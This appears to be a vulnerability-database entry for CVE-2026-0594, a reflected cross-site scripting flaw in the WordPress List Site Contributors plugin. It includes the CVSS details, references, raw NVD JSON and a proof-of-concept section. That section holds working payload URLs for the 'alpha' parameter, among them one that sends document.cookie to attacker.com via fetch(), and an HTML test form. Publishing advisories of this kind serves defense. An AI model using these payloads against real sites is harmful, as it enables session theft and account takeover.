CVE-2026-0594

Description

The List Site Contributors plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'alpha' parameter in versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

List Site Contributors plugin <= 1.1.8 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-0594 PoC: Reflected XSS in List Site Contributors plugin -->
<!-- Target: WordPress site with List Site Contributors plugin <= 1.1.8 -->
<!-- Attack Vector: Malicious URL with XSS payload in 'alpha' parameter -->

<!-- Basic XSS PoC -->
https://target-wordpress-site.com/wp-admin/admin.php?page=list-site-contributors&alpha=<script>alert(document.cookie)</script>

<!-- More advanced payload - Cookie stealing -->
https://target-wordpress-site.com/wp-admin/admin.php?page=list-site-contributors&alpha=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

<!-- PoC HTML form for demonstration -->
<html>
<body>
<h3>CVE-2026-0594 Reflected XSS PoC</h3>
<form action="http://target-site.com/wp-admin/admin.php?page=list-site-contributors" method="GET">
  <input type="hidden" name="alpha" value="<script>alert('XSS Vulnerability Confirmed')</script>" />
  <input type="submit" value="Click to test vulnerability" />
</form>
<p>Note: This PoC is for authorized security testing only.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0594
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0594
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0594/
[4] VulDB https://vuldb.com/cve/CVE-2026-0594
[5] https://plugins.trac.wordpress.org/browser/list-site-contributors/tags/1.1.8/list-site-contributors.php#L435
[6] https://plugins.trac.wordpress.org/browser/list-site-contributors/trunk/list-site-contributors.php#L435
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/026a2e0d-4d30-4133-9118-055026aa9f4a?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0594", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:54.893", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The List Site Contributors plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'alpha' parameter in versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin List Site Contributors para WordPress es vulnerable a cross-site scripting reflejado a través del parámetro 'alpha' en versiones hasta la 1.1.8, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/list-site-contributors/tags/1.1.8/list-site-contributors.php#L435", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/list-site-contributors/trunk/list-site-contributors.php#L435", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/026a2e0d-4d30-4133-9118-055026aa9f4a?source=cve", "source": "[email protected]"}]}}